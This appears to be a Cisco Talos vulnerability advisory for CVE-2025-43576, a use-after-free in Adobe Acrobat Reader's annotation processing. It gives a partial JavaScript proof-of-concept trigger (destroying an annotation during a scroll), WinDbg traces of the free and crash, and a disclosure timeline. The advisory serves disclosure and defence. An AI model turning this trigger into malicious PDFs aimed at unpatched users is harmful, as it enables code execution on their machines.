CVE-2025-43576
A use-after-free vulnerability exists in the annotation object processing functionality of Adobe Acrobat Reader 2025.001.20435. A specially crafted Javascript code inside a malicious PDF document can trigger reuse of a previously freed object, which can lead to memory corruption and could result in arbitrary code execution. An attacker needs to trick the user into opening the malicious file to trigger this vulnerability.
The versions below were either tested or verified to be vulnerable by Talos or confirmed to be vulnerable by the vendor.
Adobe Acrobat Reader 2025.001.20435
Acrobat Reader - https://acrobat.adobe.com/us/en/acrobat/pdf-reader.html
8.8 - CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H
CWE-416 - Use After Free
Adobe Acrobat Reader is one of the most popular and feature-rich PDF readers on the market. It has a large user base and is usually a default PDF reader on systems. It also integrates into web browsers as a plugin for rendering PDFs.
Adobe’s PDF Reader supports different types of annotation
objects. Each annotation
object includes a page
property that specifies the page number where the annotation is located. There exists a use-after-free vulnerability in the way Adobe Acrobat Reader handles an annotation
object. This can be illustrated by the following proof-of-concept code:
function main() {
app.activeDocs[0].zoomType = zoomtype.fitW;
app.activeDocs[0].scroll(0, 1);
app.activeDocs[0].layout = "TwoColumnLeft";
app.activeDocs[0].submitForm({cURL:'a', bAnnotations:true});
}
[..]
function destroy() {
app.activeDocs[0].getAnnots()[1].destroy();
}
The proof-of-concept (PoC) PDF file contains a StrikeOut annotation
object. The destroy()
function is triggered when the page is scrolled. This function accesses and destroys the annotation object, resulting in the freeing of numerous objects. The use-after-free vulnerability occurs when the freed annotation
object is accessed without proper validation. This issue can be observed in the debugger with PageHeap enabled.
0:000> p
eax=00000000 ebx=89a9cfe8 ecx=742163d0 edx=00010000 esi=679f4d80 edi=00000000
eip=7356fc3e esp=04f4d450 ebp=04f4d4b4 iopl=0 nv up ei ng nz na pe nc
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00200286
Annots!PlugInMain+0xc2a1e:
7356fc3e 8945d4 mov dword ptr [ebp-2Ch],eax ss:002b:04f4d488=04f4d4d8
0:000> p
eax=00000000 ebx=89a9cfe8 ecx=742163d0 edx=00010000 esi=679f4d80 edi=00000000
eip=7356fc41 esp=04f4d450 ebp=04f4d4b4 iopl=0 nv up ei ng nz na pe nc
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00200286
Annots!PlugInMain+0xc2a21:
7356fc41 8b450c mov eax,dword ptr [ebp+0Ch] ss:002b:04f4d4c0=00000000
0:000> p
eax=00000000 ebx=89a9cfe8 ecx=742163d0 edx=00010000 esi=679f4d80 edi=00000000
eip=7356fc44 esp=04f4d450 ebp=04f4d4b4 iopl=0 nv up ei ng nz na pe nc
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00200286
Annots!PlugInMain+0xc2a24:
7356fc44 897dd8 mov dword ptr [ebp-28h],edi ss:002b:04f4d48c=00000000
0:000> p
eax=00000000 ebx=89a9cfe8 ecx=742163d0 edx=00010000 esi=679f4d80 edi=00000000
eip=7356fc47 esp=04f4d450 ebp=04f4d4b4 iopl=0 nv up ei ng nz na pe nc
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00200286
Annots!PlugInMain+0xc2a27:
7356fc47 85c0 test eax,eax
0:000> p
eax=00000000 ebx=89a9cfe8 ecx=742163d0 edx=00010000 esi=679f4d80 edi=00000000
eip=7356fc49 esp=04f4d450 ebp=04f4d4b4 iopl=0 nv up ei pl zr na pe nc
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00200246
Annots!PlugInMain+0xc2a29:
7356fc49 7554 jne Annots!PlugInMain+0xc2a7f (7356fc9f) [br=0]
0:000> p
eax=00000000 ebx=89a9cfe8 ecx=742163d0 edx=00010000 esi=679f4d80 edi=00000000
eip=7356fc4b esp=04f4d450 ebp=04f4d4b4 iopl=0 nv up ei pl zr na pe nc
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00200246
Annots!PlugInMain+0xc2a2b:
7356fc4b 6a01 push 1
[...]
0:000> pc
eax=73aa7a04 ebx=89a9cfe8 ecx=734f1140 edx=00000000 esi=734f1140 edi=25e46e98
eip=7356fc92 esp=04f4d43c ebp=04f4d4b4 iopl=0 nv up ei ng nz na pe nc
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00200286
Annots!PlugInMain+0xc2a72:
7356fc92 ff15b839a773 call dword ptr [Annots!PlugInMain+0x5c6798 (73a739b8)] ds:002b:73a739b8={ntdll!LdrpValidateUserCallTarget (774d9000)}
0:000> pc
eax=0e69e228 ebx=89a9cfe8 ecx=25e46e98 edx=00000100 esi=734f1140 edi=25e46e98
eip=7356fc9a esp=04f4d43c ebp=04f4d4b4 iopl=0 nv up ei pl zr na pe cy
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00200247
Annots!PlugInMain+0xc2a7a:
7356fc9a ffd6 call esi {Annots!PlugInMain+0x43f20 (734f1140)} ;<----------- (1)
0:000> p
eax=00000000 ebx=89a9cfe8 ecx=734f11fd edx=07a00000 esi=734f1140 edi=25e46e98
eip=7356fc9c esp=04f4d450 ebp=04f4d4b4 iopl=0 nv up ei pl zr na pe nc
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00200246
Annots!PlugInMain+0xc2a7c:
7356fc9c 8b450c mov eax,dword ptr [ebp+0Ch] ss:002b:04f4d4c0=ab4e2ff0
0:000> p
eax=ab4e2ff0 ebx=89a9cfe8 ecx=734f11fd edx=07a00000 esi=734f1140 edi=25e46e98
eip=7356fc9f esp=04f4d450 ebp=04f4d4b4 iopl=0 nv up ei pl zr na pe nc
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00200246
Annots!PlugInMain+0xc2a7f:
7356fc9f 8b30 mov esi,dword ptr [eax] ds:002b:ab4e2ff0=b4f24fe8
0:000> dd eax
ab4e2ff0 b4f24fe8 b4f24ff4 b4f24ffc 00000000
ab4e3000 ???????? ???????? ???????? ????????
0:000> dd b4f24fe8 L 8 ;<--------------------------------------- (2)
b4f24fe8 9d222f68 6621af68 9b986f68 00000000
b4f24ff8 00000000 d0d0d0d0 ???????? ????????
0:000> dd 6621af68 ;<--------------------------------------- (3)
6621af68 73aab270 00000000 00000000 00000000
6621af78 00000000 a84daf88 00000000 00000000
6621af88 00000000 00000000 00000000 00000000
6621af98 00000000 00000000 00000000 00000000
6621afa8 00000000 00000000 00000000 00000000
6621afb8 00000000 00000000 00000000 00000000
6621afc8 00000000 00000000 00000000 00000000
6621afd8 3f800000 bc3defe0 00000000 bd7f6fc0
0:000> !ext.heap -p -a 6621af68
address 6621af68 found in
_DPH_HEAP_ROOT @ 7a01000
in busy allocation ( DPH_HEAP_BLOCK: UserAddr UserSize - VirtAddr VirtSize)
6f072e6c: 6621af68 98 - 6621a000 2000
? Annots!PlugInMain+5fe050
727ca8b0 verifier!AVrfDebugPageHeapAllocate+0x00000240
7752f1de ntdll!RtlDebugAllocateHeap+0x00000039
774973b0 ntdll!RtlpAllocateHeap+0x000000f0
7749710c ntdll!RtlpAllocateHeapInternal+0x0000104c
774960ae ntdll!RtlAllocateHeap+0x0000003e
75750166 ucrtbase!_malloc_base+0x00000026
6790fd09 AcroRd32!AcroWinMainSandbox+0x000040b9
734b2b01 Annots!PlugInMain+0x000058e1
734b2a9d Annots!PlugInMain+0x0000587d
734dbf94 Annots!PlugInMain+0x0002ed74
734d51d3 Annots!PlugInMain+0x00027fb3
734d49e2 Annots!PlugInMain+0x000277c2
734d48ed Annots!PlugInMain+0x000276cd
6799ba79 AcroRd32!DllCanUnloadNow+0x000517d9
67999eb1 AcroRd32!DllCanUnloadNow+0x0004fc11
67999b92 AcroRd32!DllCanUnloadNow+0x0004f8f2
679168dd AcroRd32!AcroWinMainSandbox+0x0000ac8d
76d915eb USER32!_InternalCallWinProc+0x0000002b
76d87cda USER32!UserCallWinProcCheckWow+0x0000033a
76d86580 USER32!DispatchMessageWorker+0x000004c0
76d860b0 USER32!DispatchMessageW+0x00000010
6799944a AcroRd32!DllCanUnloadNow+0x0004f1aa
679991fe AcroRd32!DllCanUnloadNow+0x0004ef5e
679990a4 AcroRd32!DllCanUnloadNow+0x0004ee04
6790c39f AcroRd32!AcroWinMainSandbox+0x0000074f
6790bddc AcroRd32!AcroWinMainSandbox+0x0000018c
00c2a615 AcroRd32_exe!CreateCoreWebview2EnvironmentSandbox+0x00113c55
00ca3c5a AcroRd32_exe!AcroRd32IsBrokerProcess+0x0001bc7a
76b7fcc9 KERNEL32!BaseThreadInitThunk+0x00000019
774b82ae ntdll!__RtlUserThreadStart+0x0000002f
774b827e ntdll!_RtlUserThreadStart+0x0000001b
The method called at (1)
retrieves the annotation vector object. The number of annotation objects present in the PDF file can be observed at (2)
. When the destroy
function is called, the second annotation object will be freed, and its value is examined at (3)
.
When destroy()
is called, and the following code is executed:
0:000> p
eax=00000000 ebx=6621af68 ecx=b7f4494f edx=07a00000 esi=6621af68 edi=67a241a0
eip=735450fc esp=04f4bf28 ebp=04f4bf2c iopl=0 nv up ei pl nz na po nc
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00200202
Annots!PlugInMain+0x97edc:
735450fc f6450804 test byte ptr [ebp+8],4 ss:002b:04f4bf34=01
0:000> p
eax=00000000 ebx=6621af68 ecx=b7f4494f edx=07a00000 esi=6621af68 edi=67a241a0
eip=73545100 esp=04f4bf28 ebp=04f4bf2c iopl=0 nv up ei pl zr na pe nc
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00200246
Annots!PlugInMain+0x97ee0:
73545100 7508 jne Annots!PlugInMain+0x97eea (7354510a) [br=0]
0:000> p
eax=00000000 ebx=6621af68 ecx=b7f4494f edx=07a00000 esi=6621af68 edi=67a241a0
eip=73545102 esp=04f4bf28 ebp=04f4bf2c iopl=0 nv up ei pl zr na pe nc
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00200246
Annots!PlugInMain+0x97ee2:
73545102 56 push esi ;<--------------------------------------- (4)
0:000> p
eax=00000000 ebx=6621af68 ecx=b7f4494f edx=07a00000 esi=6621af68 edi=67a241a0
eip=73545103 esp=04f4bf24 ebp=04f4bf2c iopl=0 nv up ei pl zr na pe nc
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00200246
Annots!PlugInMain+0x97ee3:
73545103 e82e54f9ff call Annots!PlugInMain+0x2d316 (734da536) ;<--------------------------------------- (5)
0:000> dd esi ;<--------------------------------------- (6)
6621af68 73aab270 00000000 02000000 00000000
6621af78 00000000 a84daf88 00000000 00000000
6621af88 00000000 00000000 00000000 aa2beff0
6621af98 00000000 00000000 00000000 00000000
6621afa8 00000000 00000000 00000000 00000000
6621afb8 00000000 00000000 00000000 00000000
6621afc8 00000000 00000000 00000000 00000000
6621afd8 3f800000 bc3defe0 00000000 00000000
0:000> p
eax=00000001 ebx=6621af68 ecx=b7f44973 edx=07a00000 esi=6621af68 edi=67a241a0
eip=73545108 esp=04f4bf24 ebp=04f4bf2c iopl=0 nv up ei pl nz na pe nc
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00200206
Annots!PlugInMain+0x97ee8:
73545108 eb0c jmp Annots!PlugInMain+0x97ef6 (73545116)
0:000> dd esi ;<--------------------------------------- (7)
6621af68 ???????? ???????? ???????? ????????
6621af78 ???????? ???????? ???????? ????????
6621af88 ???????? ???????? ???????? ????????
6621af98 ???????? ???????? ???????? ????????
6621afa8 ???????? ???????? ???????? ????????
6621afb8 ???????? ???????? ???????? ????????
6621afc8 ???????? ???????? ???????? ????????
6621afd8 ???????? ???????? ???????? ????????
At (4)
, the esi
register contains the vulnerable annotation
buffer. The method called at (5)
eventually invokes free
, using the argument sourced from the esi
register at (4)
. The value of the vulnerable buffer is examined at (6)
, and (7)
displays its value before and after the free
function is called. Subsequently, the vulnerable freed buffer is used without validation, which can be observed in a debugger at the time of the crash.
0:000> g
(2624.2878): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=6621af68 ebx=89a9cfe8 ecx=00000002 edx=c0050001 esi=b4f24fec edi=0000002a
eip=7356fd7d esp=04f4d450 ebp=04f4d4b4 iopl=0 nv up ei ng nz na po cy
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00210283
Annots!PlugInMain+0xc2b5d:
7356fd7d 8b00 mov eax,dword ptr [eax] ds:002b:6621af68=????????
0:000> dd 6621af68
6621af68 ???????? ???????? ???????? ????????
6621af78 ???????? ???????? ???????? ????????
6621af88 ???????? ???????? ???????? ????????
6621af98 ???????? ???????? ???????? ????????
6621afa8 ???????? ???????? ???????? ????????
6621afb8 ???????? ???????? ???????? ????????
6621afc8 ???????? ???????? ???????? ????????
6621afd8 ???????? ???????? ???????? ????????
0:000> u
Annots!PlugInMain+0xc2b5d:
7356fd7d 8b00 mov eax,dword ptr [eax]
7356fd7f 8b7818 mov edi,dword ptr [eax+18h]
7356fd82 8bcf mov ecx,edi
7356fd84 ff15b839a773 call dword ptr [Annots!PlugInMain+0x5c6798 (73a739b8)]
7356fd8a 8b4dcc mov ecx,dword ptr [ebp-34h]
7356fd8d ffd7 call edi
7356fd8f 8bd0 mov edx,eax
7356fd91 8955e0 mov dword ptr [ebp-20h],edx
0:000> kb
# ChildEBP RetAddr Args to Child
WARNING: Stack unwind information not available. Following frames may be wrong.
00 04f4d4b4 73574f1d 943bab58 ab4e2ff0 00000000 Annots!PlugInMain+0xc2b5d
01 04f4d4e0 737c9b76 943bab58 00000000 00000000 Annots!PlugInMain+0xc7cfd
02 04f4d550 c077768a 04f4d5c0 00000000 8af66fc9 Annots!PlugInMain+0x31c956
03 04f4d590 c0777532 89a9cfe8 04f4d5c0 04f4df58 AcroForm!SubstitutionLogBackwardIterator::GetTarget+0x20a0a
04 04f4d5a0 c094c56e 0000000a 04f4d5c0 8af66501 AcroForm!SubstitutionLogBackwardIterator::GetTarget+0x208b2
05 04f4df58 c0867f37 00000988 04f4e408 c0867f37 AcroForm!IWRFontInfo::HasGlyphlets+0x873ee
06 04f4e400 b3ca1cfa c08664f0 b3ca1cfa a18a6fb8 AcroForm!IWRFontAccess::WRGetGlyphNames+0x20037
07 04f4e558 b3b80ddb c3078000 00000001 c31a90c0 EScript!PlugInMain+0x176fa
08 00000000 00000000 00000000 00000000 00000000 EScript!mozilla::HashBytes+0x340cb
In the above debugger output, the crash occurs when eax
is dereferenced, as if it were an object pointer. Depending on the memory layout of the process, it may be possible to abuse this vulnerability for arbitrary read and write access, which could ultimately be abused to achieve arbitrary code execution.
2025-04-07 - Vendor Disclosure
2025-06-10 - Vendor Patch Release
2025-06-11 - Public Release
Discovered by KPC of Cisco Talos.